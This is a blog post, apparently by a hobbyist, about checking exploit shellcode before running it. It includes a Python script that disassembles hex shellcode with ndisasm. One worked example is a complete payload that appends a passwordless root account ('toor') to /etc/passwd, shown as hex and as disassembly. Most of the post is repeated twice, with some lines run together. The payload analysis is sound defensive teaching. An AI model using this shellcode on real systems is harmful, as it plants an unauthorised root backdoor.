POC (Proof Of Concept) exploits are very easy to find. One doesn't have to look further than a Google search for countless lists. Similarly, weaponized versions are also available through the same channels. Skiddies never had it so good when to comes to downloading, compiling and owning the next door neighbour's box. But sometimes such perfect pieces of art have a terrible secret.
Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!
Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.
There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.
As a simple example, lets take the following shellcode:
\x31\xc0\x40\x89\xc3\xcd\x80
Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).
I have written a small python script for this very purpose:
Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:
python2 shellcode_2_asm.py \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000 EB38 jmp short 0x3a
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 88460B mov [esi+0xb],al
00000008 88462B mov [esi+0x2b],al
0000000B C6462A0A mov byte [esi+0x2a],0xa
0000000F 8D5E0C lea ebx,[esi+0xc]
00000012 895E2C mov [esi+0x2c],ebx
00000015 8D1E lea ebx,[esi]
00000017 66B94204 mov cx,0x442
0000001B 66BAA401 mov dx,0x1a4
0000001F B005 mov al,0x5
00000021 CD80 int 0x80
00000023 89C3 mov ebx,eax
00000025 31D2 xor edx,edx
00000027 8B4E2C mov ecx,[esi+0x2c]
0000002A B21F mov dl,0x1f
0000002C B004 mov al,0x4
0000002E CD80 int 0x80
00000030 B006 mov al,0x6
00000032 CD80 int 0x80
00000034 B001 mov al,0x1
00000036 31DB xor ebx,ebx
00000038 CD80 int 0x80
0000003A E8C3FFFFFF call dword 0x2
0000003F 2F das /*NOTE: This point onwards is the string
00000040 657463 gs jz 0xa6 *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043 2F das *The disassembler assumes the string as instructions
00000044 7061 jo 0xa7 *and creates the assembly for it.
00000046 7373 jnc 0xbb *So it is safe to ignore all the code below.
00000048 .........
[++++++++++++++++ASM DUMP++++++++++++++++]
A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.
3. DONT BE A SKIDDIE!
Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!
Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.
There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.
As a simple example, lets take the following shellcode:
\x31\xc0\x40\x89\xc3\xcd\x80
Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).
I have written a small python script for this very purpose:
#!/usr/bin/pythonLets try it shall we:
#s4ndman - shellcode to assembly conversion script for shellcode inspection.
#Requires: ndisasm
import os
import sys
import binascii
if len(sys.argv) < 2:
print "[i]run syntax:"
print "[i]"+sys.argv[0]+" hexcode"
print "[i]example:"
print "[i]"+sys.argv[0]+" \\x31\\xc0\\x40\\x89\\xc3\\xcd\\x80"
sys.exit()
try:
f = open("binary", "wb")
except:
print "[-]file create error!"
sys.exit()
hstring = sys.argv[1].replace("\\x","")
hstring = hstring.replace("x","")
print "[+]normalized hexstring: "+hstring
hexstring = binascii.a2b_hex(hstring)
f.write(hexstring)
f.close()
print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("ndisasm -b 32 binary")
print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("rm binary")
sys.exit()
└─>>$] python2 shellcode_2_asm.py \x31\xc0\x40\x89\xc3\xcd\x80And there we go, the 32bit exit() syscall assembly.
[+]normalized hexstring: 31c04089c3cd80
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000 31C0 xor eax,eax
00000002 40 inc eax
00000003 89C3 mov ebx,eax
00000005 CD80 int 0x80
[++++++++++++++++ASM DUMP++++++++++++++++]
Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:
python2 shellcode_2_asm.py \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000 EB38 jmp short 0x3a
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 88460B mov [esi+0xb],al
00000008 88462B mov [esi+0x2b],al
0000000B C6462A0A mov byte [esi+0x2a],0xa
0000000F 8D5E0C lea ebx,[esi+0xc]
00000012 895E2C mov [esi+0x2c],ebx
00000015 8D1E lea ebx,[esi]
00000017 66B94204 mov cx,0x442
0000001B 66BAA401 mov dx,0x1a4
0000001F B005 mov al,0x5
00000021 CD80 int 0x80
00000023 89C3 mov ebx,eax
00000025 31D2 xor edx,edx
00000027 8B4E2C mov ecx,[esi+0x2c]
0000002A B21F mov dl,0x1f
0000002C B004 mov al,0x4
0000002E CD80 int 0x80
00000030 B006 mov al,0x6
00000032 CD80 int 0x80
00000034 B001 mov al,0x1
00000036 31DB xor ebx,ebx
00000038 CD80 int 0x80
0000003A E8C3FFFFFF call dword 0x2
0000003F 2F das /*NOTE: This point onwards is the string
00000040 657463 gs jz 0xa6 *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043 2F das *The disassembler assumes the string as instructions
00000044 7061 jo 0xa7 *and creates the assembly for it.
00000046 7373 jnc 0xbb *So it is safe to ignore all the code below.
00000048 .........
[++++++++++++++++ASM DUMP++++++++++++++++]
A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.
3. DONT BE A SKIDDIE!
No comments:
Post a Comment